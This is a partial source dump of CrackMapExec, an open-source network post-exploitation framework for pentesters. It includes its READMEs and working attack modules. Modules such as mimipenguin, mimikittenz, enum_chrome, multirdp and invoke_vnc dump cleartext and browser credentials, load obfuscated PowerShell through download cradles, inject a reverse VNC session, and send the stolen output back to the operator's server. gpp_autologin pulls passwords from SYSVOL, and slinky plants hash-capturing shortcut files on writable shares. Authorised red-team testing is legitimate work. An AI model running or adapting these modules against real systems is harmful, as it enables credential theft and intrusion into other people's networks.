36 | url = https://github.com/diyan/pywinrm
37 |
--------------------------------------------------------------------------------
/cme/protocols/smb/remotefile.py:
--------------------------------------------------------------------------------
1 | from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
2 |
3 | class RemoteFile:
4 | def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
5 | self.__smbConnection = smbConnection
6 | self.__share = share
7 | self.__access = access
8 | self.__fileName = fileName
9 | self.__tid = self.__smbConnection.connectTree(share)
10 | self.__fid = None
11 | self.__currentOffset = 0
12 |
13 | def open(self):
14 | self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access)
15 |
16 | def seek(self, offset, whence):
17 | # Implement whence, for now it's always from the beginning of the file
18 | if whence == 0:
19 | self.__currentOffset = offset
20 |
21 | def read(self, bytesToRead):
22 | if bytesToRead > 0:
23 | data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
24 | self.__currentOffset += len(data)
25 | return data
26 | return ''
27 |
28 | def close(self):
29 | if self.__fid is not None:
30 | self.__smbConnection.closeFile(self.__tid, self.__fid)
31 | self.__fid = None
32 |
33 | def delete(self):
34 | self.__smbConnection.deleteFile(self.__share, self.__fileName)
35 |
36 | def tell(self):
37 | return self.__currentOffset
38 |
39 | def __str__(self):
40 | return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
--------------------------------------------------------------------------------
/cme/servers/smb.py:
--------------------------------------------------------------------------------
1 | import threading
2 | import logging
3 | from sys import exit
4 | from impacket import smbserver
5 |
6 | class CMESMBServer(threading.Thread):
7 |
8 | def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False):
9 | try:
10 | threading.Thread.__init__(self)
11 |
12 | self.server = smbserver.SimpleSMBServer(listen_address, listen_port)
13 | self.server.addShare(share_name.upper(), share_path)
14 | if verbose: self.server.setLogFile('')
15 | self.server.setSMB2Support(False)
16 | self.server.setSMBChallenge('')
17 | except Exception as e:
18 | errno, message = e.args
19 | if errno == 98 and message == 'Address already in use':
20 | logger.error('Error starting SMB server on port 445: the port is already in use')
21 | else:
22 | logger.error('Error starting SMB server on port 445: {}'.format(message))
23 | exit(1)
24 |
25 | def addShare(self, share_name, share_path):
26 | self.server.addShare(share_name, share_path)
27 |
28 | def run(self):
29 | try:
30 | self.server.start()
31 | except:
32 | pass
33 |
34 | def shutdown(self):
35 | self._Thread__stop()
36 | # make sure all the threads are killed
37 | for thread in threading.enumerate():
38 | if thread.isAlive():
39 | try:
40 | thread._Thread__stop()
41 | except:
42 | pass
43 |
--------------------------------------------------------------------------------
/cme/parsers/nessus.py:
--------------------------------------------------------------------------------
1 | import xmltodict
2 |
3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
4 | protocol_dict = {
5 | 'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']},
6 | 'mssql': {'ports': [1433], 'services': ['mssql']},
7 | 'ssh': {'ports': [22], 'services': ['ssh']},
8 | 'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']},
9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']}
10 | }
11 |
12 |
13 | def parse_nessus_file(nessus_file, protocol):
14 | targets = []
15 |
16 | def handle_nessus_file(path, item):
17 | # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception
18 | # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219
19 |
20 | if any('ReportHost' and 'ReportItem' in values for values in path):
21 | item = dict(path)
22 | ip = item['ReportHost']['name']
23 | if ip in targets:
24 | return True
25 |
26 | port = item['ReportItem']['port']
27 | svc_name = item['ReportItem']['svc_name']
28 |
29 | if port in protocol_dict[protocol]['ports']:
30 | targets.append(ip)
31 | if svc_name in protocol_dict[protocol]['services']:
32 | targets.append(ip)
33 |
34 | return True
35 | else:
36 | return True
37 |
38 | with open(nessus_file, 'r') as file_handle:
39 | xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file)
40 |
41 | return targets
42 |
--------------------------------------------------------------------------------
/cme/modules/mimipenguin.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.bash import get_script
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Runs the Mimipenguin script to dump credentials from memory
7 | Module by @byt3bl33d3r
8 |
9 | '''
10 | name = 'mimipenguin'
11 | description = 'Dumps cleartext credentials in memory'
12 | supported_protocols = ['ssh']
13 | opsec_safe= True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | SCRIPT Script version to execute (choices: bash, python) (default: bash)
19 | '''
20 | scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'),
21 | 'BASH' : get_script('mimipenguin/mimipenguin.sh')}
22 |
23 | self.script_choice = 'BASH'
24 | if 'SCRIPT' in module_options:
25 | self.script_choice = module_options['SCRIPT'].upper()
26 | if self.script_choice not in scripts.keys():
27 | context.log.error('SCRIPT option choices can only be PYTHON or BASH')
28 | exit(1)
29 |
30 | self.script = scripts[self.script_choice]
31 |
32 | def on_admin_login(self, context, connection):
33 | if self.script_choice == 'BASH':
34 | stdin, stdout, stderr = connection.conn.exec_command("bash -")
35 | elif self.script_choice == 'PYTHON':
36 | stdin, stdout, stderr = connection.conn.exec_command("python2 -")
37 |
38 | stdin.write("{}\n".format(self.script))
39 | stdin.channel.shutdown_write()
40 | context.log.success('Executed command')
41 | for line in stdout:
42 | context.log.highlight(line.strip())
43 |
--------------------------------------------------------------------------------
/cme/modules/multirdp.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 |
3 | class CMEModule:
4 |
5 | name = 'multirdp'
6 | description = "Patches terminal services in memory to allow multiple RDP users"
7 | supported_protocols = ['smb', 'mssql']
8 | opsec_safe = True
9 | multiple_hosts = True
10 |
11 | def options(self, context, module_options):
12 | '''
13 | '''
14 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1')
15 |
16 | def on_admin_login(self, context, connection):
17 |
18 | command = "Invoke-Mimikatz -Command 'privilege::debug ts::multirdp exit'"
19 | launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command)
20 |
21 | connection.ps_execute(launcher)
22 | context.log.success('Executed launcher')
23 |
24 | def on_request(self, context, request):
25 | if 'Invoke-Mimikatz.ps1' == request.path[1:]:
26 | request.send_response(200)
27 | request.end_headers()
28 |
29 | request.wfile.write(self.ps_script)
30 |
31 | else:
32 | request.send_response(404)
33 | request.end_headers()
34 |
35 | def on_response(self, context, response):
36 | response.send_response(200)
37 | response.end_headers()
38 | length = int(response.headers.getheader('content-length'))
39 | data = response.rfile.read(length)
40 |
41 | #We've received the response, stop tracking this host
42 | response.stop_tracking_host()
43 |
44 | if len(data):
45 | if data.find('"TermService" service patched') != -1:
46 | context.log.success("Terminal Service patched successfully")
47 |
--------------------------------------------------------------------------------
/README.rst:
--------------------------------------------------------------------------------
1 | |Supported Python versions| |Arsenal\_2016| |Arsenal\_2017|
2 |
3 | CrackMapExec
4 | ============
5 |
6 | .. raw:: html
7 |
8 |
9 |
10 |
11 |
12 | Acknowledgments
13 | ===============
14 |
15 | **(These are the people who did the hard stuff)**
16 |
17 | This project was originally inspired by: -
18 | `smbmap `__ -
19 | `CredCrack `__ -
20 | `smbexec `__
21 |
22 | Unintentional contributors:
23 |
24 | - The `Empire `__ project
25 | - @T-S-A's `smbspider `__ script
26 |
27 | This repository contains the following repositories as submodules: -
28 | `Impacket `__ -
29 | `Pywerview `__ -
30 | `PowerSploit `__ -
31 | `Invoke-Obfuscation `__
32 | - `Invoke-Vnc `__ -
33 | `Mimikittenz `__ -
34 | `NetRipper `__ -
35 | `RandomPS-Scripts `__
36 |
37 | Documentation, Tutorials, Examples
38 | ==================================
39 |
40 | See the project's
41 | `wiki `__ for
42 | documentation and usage examples
43 |
44 | Installation
45 | ============
46 |
47 | Please see the installation wiki page
48 | `here `__.
49 |
50 | To do
51 | =====
52 |
53 | - Kerberos support
54 | - [STRIKEOUT:0wn everything]
55 |
56 | .. |Supported Python versions| image:: https://img.shields.io/badge/python-2.7-blue.svg
57 | .. |Arsenal\_2016| image:: https://cdn.rawgit.com/toolswatch/badges/master/arsenal/2016.svg
58 | .. |Arsenal\_2017| image:: https://cdn.rawgit.com/toolswatch/badges/master/arsenal/2017.svg
59 |
60 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 | 
3 | 
4 |
5 | # CrackMapExec
6 |
7 |
8 |
9 |
10 |
11 | # Acknowledgments
12 | **(These are the people who did the hard stuff)**
13 |
14 | This project was originally inspired by:
15 | - [smbmap](https://github.com/ShawnDEvans/smbmap)
16 | - [CredCrack](https://github.com/gojhonny/CredCrack)
17 | - [smbexec](https://github.com/pentestgeek/smbexec)
18 |
19 | Unintentional contributors:
20 |
21 | - The [Empire](https://github.com/PowerShellEmpire/Empire) project
22 | - @T-S-A's [smbspider](https://github.com/T-S-A/smbspider) script
23 | - @ConsciousHacker's partial Python port of Invoke-obfuscation from the [GreatSCT](https://github.com/GreatSCT/GreatSCT) project
24 |
25 | This repository contains the following repositories as submodules:
26 | - [Impacket](https://github.com/CoreSecurity/impacket)
27 | - [Pywinrm](https://github.com/diyan/pywinrm)
28 | - [Pywerview](https://github.com/the-useless-one/pywerview)
29 | - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
30 | - [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
31 | - [Invoke-Vnc](https://github.com/artkond/Invoke-Vnc)
32 | - [Mimikittenz](https://github.com/putterpanda/mimikittenz)
33 | - [NetRipper](https://github.com/NytroRST/NetRipper)
34 | - [RandomPS-Scripts](https://github.com/xorrior/RandomPS-Scripts)
35 | - [SessionGopher](https://github.com/fireeye/SessionGopher)
36 | - [Mimipenguin](https://github.com/huntergregal/mimipenguin)
37 |
38 | # Documentation, Tutorials, Examples
39 | See the project's [wiki](https://github.com/byt3bl33d3r/CrackMapExec/wiki) for documentation and usage examples
40 |
41 | # Installation
42 | Please see the installation wiki page [here](https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation).
43 |
44 | # How to fund my tea & sushi reserve
45 |
46 | BTC: `1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU`
47 |
48 | ETH: `0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee`
49 |
50 | LTC: `LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr`
51 |
52 | # To do
53 | - Kerberos support
54 | - ~~0wn everything~~
55 |
--------------------------------------------------------------------------------
/cme/modules/mimikittenz.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log
3 | from StringIO import StringIO
4 | from datetime import datetime
5 |
6 | class CMEModule:
7 | '''
8 | Executes the Mimikittenz script
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'mimikittenz'
13 | description = "Executes Mimikittenz"
14 | supported_protocols = ['mssql', 'smb']
15 | opsec_safe = True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | '''
21 | self.ps_script = obfs_ps_script('mimikittenz/Invoke-mimikittenz.ps1')
22 | return
23 |
24 | def on_admin_login(self, context, connection):
25 | command = 'Invoke-mimikittenz'
26 | launcher = gen_ps_iex_cradle(context, 'Invoke-mimikittenz.ps1', command)
27 |
28 | connection.ps_execute(launcher)
29 | context.log.success('Executed launcher')
30 |
31 | def on_request(self, context, request):
32 | if 'Invoke-mimikittenz.ps1' == request.path[1:]:
33 | request.send_response(200)
34 | request.end_headers()
35 |
36 | #with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
37 | # ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
38 | request.wfile.write(self.ps_script)
39 |
40 | else:
41 | request.send_response(404)
42 | request.end_headers()
43 |
44 | def on_response(self, context, response):
45 | response.send_response(200)
46 | response.end_headers()
47 | length = int(response.headers.getheader('content-length'))
48 | data = response.rfile.read(length)
49 |
50 | #We've received the response, stop tracking this host
51 | response.stop_tracking_host()
52 |
53 | if len(data):
54 | def print_post_data(data):
55 | buf = StringIO(data.strip()).readlines()
56 | for line in buf:
57 | context.log.highlight(line.strip())
58 |
59 | print_post_data(data)
60 |
61 | log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
62 | write_log(data, log_name)
63 | context.log.info("Saved output to {}".format(log_name))
64 |
--------------------------------------------------------------------------------
/cme/modules/gpp_autologin.py:
--------------------------------------------------------------------------------
1 | import xml.etree.ElementTree as ET
2 | from StringIO import StringIO
3 |
4 | class CMEModule:
5 | '''
6 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
7 | Module by @byt3bl33d3r
8 | '''
9 |
10 | name = 'gpp_autologin'
11 | description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.'
12 | supported_protocols = ['smb']
13 | opsec_safe = True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | '''
19 |
20 | def on_login(self, context, connection):
21 | shares = connection.shares()
22 | for share in shares:
23 | if share['name'] == 'SYSVOL' and 'READ' in share['access']:
24 |
25 | context.log.success('Found SYSVOL share')
26 | context.log.info('Searching for Registry.xml')
27 |
28 | paths = connection.spider('SYSVOL', pattern=['Registry.xml'])
29 |
30 | for path in paths:
31 | context.log.info('Found {}'.format(path))
32 |
33 | buf = StringIO()
34 | connection.conn.getFile('SYSVOL', path, buf.write)
35 | xml = ET.fromstring(buf.getvalue())
36 |
37 | if xml.findall('.//Properties[@name="DefaultPassword"]'):
38 | usernames = []
39 | passwords = []
40 | domains = []
41 |
42 | xml_section = xml.findall(".//Properties")
43 |
44 | for section in xml_section:
45 | attrs = section.attrib
46 |
47 | if attrs['name'] == 'DefaultPassword':
48 | passwords.append(attrs['value'])
49 |
50 | if attrs['name'] == 'DefaultUserName':
51 | usernames.append(attrs['value'])
52 |
53 | if attrs['name'] == 'DefaultDomainName':
54 | domains.append(attrs['value'])
55 |
56 | if usernames or passwords:
57 | context.log.success('Found credentials in {}'.format(path))
58 | context.log.highlight('Usernames: {}'.format(usernames))
59 | context.log.highlight('Domains: {}'.format(domains))
60 | context.log.highlight('Passwords: {}'.format(passwords))
--------------------------------------------------------------------------------
/cme/modules/invoke_vnc.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 |
3 | class CMEModule:
4 | '''
5 | Executes Invoke-VNC
6 | Module by @byt3bl33d3r
7 | '''
8 |
9 | name = 'invoke_vnc'
10 | description = "Injects a VNC client in memory"
11 | supported_protocols = ['smb', 'mssql']
12 | opsec_safe = True
13 | multiple_hosts = True
14 |
15 | def options(self, context, module_options):
16 | '''
17 | CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse).
18 | PORT VNC Port (default: 5900)
19 | PASSWORD Specifies the connection password.
20 | '''
21 |
22 | self.contype = 'reverse'
23 | self.port = 5900
24 | self.password = None
25 |
26 | if 'PASSWORD' not in module_options:
27 | context.log.error('PASSWORD option is required!')
28 | exit(1)
29 |
30 | if 'CONTYPE' in module_options:
31 | self.contype = module_options['CONTYPE']
32 |
33 | if 'PORT' in module_options:
34 | self.port = int(module_options['PORT'])
35 |
36 | self.password = module_options['PASSWORD']
37 |
38 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
39 | self.ps_script2 = obfs_ps_script('invoke-vnc/Invoke-Vnc.ps1')
40 |
41 | def on_admin_login(self, context, connection):
42 | if self.contype == 'reverse':
43 | command = 'Invoke-Vnc -ConType reverse -IpAddress {} -Port {} -Password {}'.format(context.localip, self.port, self.password)
44 | elif self.contype == 'bind':
45 | command = 'Invoke-Vnc -ConType bind -Port {} -Password {}'.format(self.port, self.password)
46 |
47 | vnc_command = gen_ps_iex_cradle(context, 'Invoke-Vnc.ps1', command, post_back=False)
48 |
49 | launcher = gen_ps_inject(vnc_command, context)
50 |
51 | connection.ps_execute(launcher)
52 | context.log.success('Executed launcher')
53 |
54 | def on_request(self, context, request):
55 | if 'Invoke-PSInject.ps1' == request.path[1:]:
56 | request.send_response(200)
57 | request.end_headers()
58 |
59 | request.wfile.write(self.ps_script1)
60 |
61 | elif 'Invoke-Vnc.ps1' == request.path[1:]:
62 | request.send_response(200)
63 | request.end_headers()
64 |
65 | request.wfile.write(self.ps_script2)
66 |
67 | request.stop_tracking_host()
68 |
69 | else:
70 | request.send_response(404)
71 | request.end_headers()
72 |
--------------------------------------------------------------------------------
/cme/modules/enum_chrome.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log
3 | from datetime import datetime
4 | from StringIO import StringIO
5 |
6 | class CMEModule:
7 | '''
8 | Executes Get-ChromeDump to decrypt saved chrome credentials
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'enum_chrome'
13 | description = "Decrypts saved Chrome passwords using Get-ChromeDump"
14 | supported_protocols = ['smb', 'mssql']
15 | opsec_safe = False
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | '''
21 |
22 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
23 | self.ps_script2 = obfs_ps_script('randomps-scripts/Get-ChromeDump.ps1')
24 |
25 | def on_admin_login(self, context, connection):
26 |
27 | command = 'Get-ChromeDump | Out-String'
28 | chrome_cmd = gen_ps_iex_cradle(context, 'Get-ChromeDump.ps1', command)
29 |
30 | launcher = gen_ps_inject(chrome_cmd, context)
31 |
32 | connection.ps_execute(launcher)
33 | context.log.success('Executed payload')
34 |
35 | def on_request(self, context, request):
36 | if 'Invoke-PSInject.ps1' == request.path[1:]:
37 | request.send_response(200)
38 | request.end_headers()
39 |
40 | request.wfile.write(self.ps_script1)
41 |
42 | elif 'Get-ChromeDump.ps1' == request.path[1:]:
43 | request.send_response(200)
44 | request.end_headers()
45 |
46 | request.wfile.write(self.ps_script2)
47 |
48 | else:
49 | request.send_response(404)
50 | request.end_headers()
51 |
52 | def on_response(self, context, response):
53 | response.send_response(200)
54 | response.end_headers()
55 | length = int(response.headers.getheader('content-length'))
56 | data = response.rfile.read(length)
57 |
58 | #We've received the response, stop tracking this host
59 | response.stop_tracking_host()
60 |
61 | if len(data):
62 | buf = StringIO(data).readlines()
63 | for line in buf:
64 | context.log.highlight(line)
65 |
66 | log_name = 'ChromeDump-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
67 | write_log(data, log_name)
68 | context.log.info("Saved raw Get-ChromeDump output to {}".format(log_name))
69 |
70 | #def on_shutdown(self, context):
71 | #context.info('Removing SQLite assembly file')
72 | #connection.ps_execute('')
--------------------------------------------------------------------------------
/cme/modules/get_netrdpsession.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log, highlight
3 | from datetime import datetime
4 | from StringIO import StringIO
5 |
6 | class CMEModule:
7 |
8 | name = 'get_netrdpsession'
9 | description = "Enumerates all active RDP sessions"
10 | supported_protocols = ['smb', 'mssql']
11 | opsec_safe = True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | '''
16 | INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
17 | '''
18 |
19 | self.exec_methods = ['smbexec', 'atexec']
20 | self.inject = True
21 | if 'INJECT' in module_options:
22 | self.inject = bool(module_options['INJECT'])
23 |
24 | if self.inject: self.exec_methods = None
25 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
26 | self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1')
27 |
28 | def on_admin_login(self, context, connection):
29 | command = 'Get-NetRDPSession | Out-String'
30 | launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command)
31 |
32 | if self.inject:
33 | launcher = gen_ps_inject(launcher, context, inject_once=True)
34 |
35 | connection.ps_execute(launcher, methods=self.exec_methods)
36 |
37 | context.log.success('Executed launcher')
38 |
39 | def on_request(self, context, request):
40 | if 'Invoke-PSInject.ps1' == request.path[1:]:
41 | request.send_response(200)
42 | request.end_headers()
43 |
44 | request.wfile.write(self.ps_script1)
45 |
46 | elif 'PowerView.ps1' == request.path[1:]:
47 | request.send_response(200)
48 | request.end_headers()
49 |
50 | request.wfile.write(self.ps_script2)
51 |
52 | else:
53 | request.send_response(404)
54 | request.end_headers()
55 |
56 | def on_response(self, context, response):
57 | response.send_response(200)
58 | response.end_headers()
59 | length = int(response.headers.getheader('content-length'))
60 | data = response.rfile.read(length)
61 |
62 | #We've received the response, stop tracking this host
63 | response.stop_tracking_host()
64 |
65 | if len(data):
66 | buf = StringIO(data).readlines()
67 | for line in buf:
68 | line = line.replace('\r\n', '\n').strip()
69 | context.log.highlight(line)
--------------------------------------------------------------------------------
/cme/modules/enum_dns.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.logger import write_log
2 |
3 | class CMEModule:
4 | '''
5 | Uses WMI to dump DNS from an AD DNS Server.
6 | Module by @fang0654
7 |
8 | '''
9 |
10 | name = 'enum_dns'
11 | description = 'Uses WMI to dump DNS from an AD DNS Server'
12 | supported_protocols = ['smb']
13 | opsec_safe= True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | DOMAIN Domain to enumerate DNS for. Defaults to all zones.
19 | '''
20 | self.domains = None
21 | if module_options and 'DOMAIN' in module_options:
22 | self.domains = module_options['DOMAIN']
23 |
24 | def on_admin_login(self, context, connection):
25 |
26 | if not self.domains:
27 | domains = []
28 | output = connection.wmi('Select Name FROM MicrosoftDNS_Zone', 'root\\microsoftdns')
29 |
30 | if output:
31 | for result in output:
32 | domains.append(result['Name']['value'])
33 |
34 | context.log.success('Domains retrieved: {}'.format(domains))
35 | else:
36 | domains = [self.domains]
37 | data = ""
38 | for domain in domains:
39 | output = connection.wmi('Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = "{}"'.format(domain), 'root\\microsoftdns')
40 |
41 | if output:
42 | domain_data = {}
43 | context.log.highlight("Results for {}".format(domain))
44 | data += "Results for {}\n".format(domain)
45 | for entry in output:
46 | text = entry['TextRepresentation']['value']
47 | rname = text.split(' ')[0]
48 | rtype = text.split(' ')[2]
49 | rvalue = ' '.join(text.split(' ')[3:])
50 | if domain_data.get(rtype, False):
51 | domain_data[rtype].append("{}: {}".format(rname, rvalue))
52 | else:
53 | domain_data[rtype] = ["{}: {}".format(rname, rvalue)]
54 |
55 | for k, v in sorted(domain_data.iteritems()):
56 | context.log.highlight("Record Type: {}".format(k))
57 | data += "Record Type: {}\n".format(k)
58 | for d in sorted(v):
59 | context.log.highlight("\t"+d)
60 | data += "\t" + d + "\n"
61 |
62 | log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
63 | write_log(data, log_name)
64 | context.log.info("Saved raw output to {}".format(log_name))
65 |
66 |
--------------------------------------------------------------------------------
/cme/modules/slinky.py:
--------------------------------------------------------------------------------
1 | import pylnk
2 | import os
3 | import ntpath
4 | from sys import exit
5 |
6 | class CMEModule:
7 | '''
8 | Original idea and PoC by Justin Angel (@4rch4ngel86)
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'slinky'
13 | description = 'Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions'
14 | supported_protocols = ['smb']
15 | opsec_safe= False
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | SERVER IP of the SMB server
21 | NAME LNK file name
22 | CLEANUP Cleanup (choices: True or False)
23 | '''
24 |
25 | self.cleanup = False
26 |
27 | if 'CLEANUP' in module_options:
28 | self.cleanup = bool(module_options['CLEANUP'])
29 |
30 | if 'NAME' not in module_options:
31 | context.log.error('NAME option is required!')
32 | exit(1)
33 |
34 | if not self.cleanup and 'SERVER' not in module_options:
35 | context.log.error('SERVER option is required!')
36 | exit(1)
37 |
38 | self.lnk_name = module_options['NAME']
39 | self.lnk_path = '/tmp/{}.lnk'.format(self.lnk_name)
40 | self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name))
41 |
42 | if not self.cleanup:
43 | self.server = module_options['SERVER']
44 | link = pylnk.create(self.lnk_path)
45 | link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server)
46 | link.save()
47 |
48 | def on_login(self, context, connection):
49 | shares = connection.shares()
50 | for share in shares:
51 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
52 | context.log.success('Found writable share: {}'.format(share['name']))
53 | if not self.cleanup:
54 | with open(self.lnk_path, 'rb') as lnk:
55 | try:
56 | connection.conn.putFile(share['name'], self.file_path, lnk.read)
57 | context.log.success('Created LNK file on the {} share'.format(share['name']))
58 | except Exception as e:
59 | context.log.error('Error writing LNK file to share {}: {}'.format(share['name'], e))
60 | else:
61 | try:
62 | connection.conn.deleteFile(share['name'], self.file_path)
63 | context.log.success('Deleted LNK file on the {} share'.format(share['name']))
64 | except Exception as e:
65 | context.log.error('Error deleting LNK file on share {}: {}'.format(share['name'], e))
66 |
--------------------------------------------------------------------------------
/cme/msfrpc.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python2.7
2 |
3 | # MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit
4 |
5 | # Copyright (c) 2014-2016 Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com
6 | #
7 | # This program is free software; you can redistribute it and/or
8 | # modify it under the terms of the GNU General Public License as
9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15 | # General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 | #
22 |
23 | import msgpack
24 | import requests
25 |
26 |
27 | class MsfError(Exception):
28 | def __init__(self, msg):
29 | self.msg = msg
30 |
31 | def __str__(self):
32 | return repr(self.msg)
33 |
34 |
35 | class MsfAuthError(MsfError):
36 | def __init__(self, msg):
37 | self.msg = msg
38 |
39 |
40 | class Msfrpc:
41 |
42 | def __init__(self, opts=[]):
43 | self.host = opts.get('host') or "127.0.0.1"
44 | self.port = opts.get('port') or "55552"
45 | self.uri = opts.get('uri') or "/api/"
46 | self.ssl = opts.get('ssl') or False
47 | self.token = None
48 | self.headers = {"Content-type": "binary/message-pack"}
49 |
50 | def encode(self, data):
51 | return msgpack.packb(data)
52 |
53 | def decode(self, data):
54 | return msgpack.unpackb(data)
55 |
56 | def call(self, method, opts=[]):
57 | if method != 'auth.login':
58 | if self.token is None:
59 | raise MsfAuthError("MsfRPC: Not Authenticated")
60 |
61 | if method != "auth.login":
62 | opts.insert(0, self.token)
63 |
64 | if self.ssl is True:
65 | url = "https://%s:%s%s" % (self.host, self.port, self.uri)
66 | else:
67 | url = "http://%s:%s%s" % (self.host, self.port, self.uri)
68 |
69 | opts.insert(0, method)
70 | payload = self.encode(opts)
71 |
72 | r = requests.post(url, data=payload, headers=self.headers)
73 |
74 | opts[:] = [] # Clear opts list
75 |
76 | return self.decode(r.content)
77 |
78 | def login(self, user, password):
79 | auth = self.call("auth.login", [user, password])
80 | try:
81 | if auth['result'] == 'success':
82 | self.token = auth['token']
83 | return True
84 | except:
85 | raise MsfAuthError("MsfRPC: Authentication failed")
86 |
--------------------------------------------------------------------------------
/cme/helpers/misc.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 | import re
4 | import inspect
5 | import os
6 |
7 |
8 | def identify_target_file(target_file):
9 | with open(target_file, 'r') as target_file_handle:
10 | for i, line in enumerate(target_file_handle):
11 | if i == 1:
12 | if line.startswith('\n'):
15 | return 'nmap'
16 |
17 | return 'unknown'
18 |
19 |
20 | def gen_random_string(length=10):
21 | return ''.join(random.sample(string.ascii_letters, int(length)))
22 |
23 |
24 | def validate_ntlm(data):
25 | allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
26 | if allowed.match(data):
27 | return True
28 | else:
29 | return False
30 |
31 |
32 | def called_from_cmd_args():
33 | for stack in inspect.stack():
34 | if stack[3] == 'print_host_info':
35 | return True
36 | if stack[3] == 'plaintext_login' or stack[3] == 'hash_login':
37 | return True
38 | if stack[3] == 'call_cmd_args':
39 | return True
40 | return False
41 |
42 |
43 | # Stolen from https://github.com/pydanny/whichcraft/
44 | def which(cmd, mode=os.F_OK | os.X_OK, path=None):
45 | """Given a command, mode, and a PATH string, return the path which
46 | conforms to the given mode on the PATH, or None if there is no such
47 | file.
48 | `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
49 | of os.environ.get("PATH"), or can be overridden with a custom search
50 | path.
51 | Note: This function was backported from the Python 3 source code.
52 | """
53 | # Check that a given file can be accessed with the correct mode.
54 | # Additionally check that `file` is not a directory, as on Windows
55 | # directories pass the os.access check.
56 | def _access_check(fn, mode):
57 | return (os.path.exists(fn) and os.access(fn, mode) and
58 | not os.path.isdir(fn))
59 |
60 | # If we're given a path with a directory part, look it up directly
61 | # rather than referring to PATH directories. This includes checking
62 | # relative to the current directory, e.g. ./script
63 | if os.path.dirname(cmd):
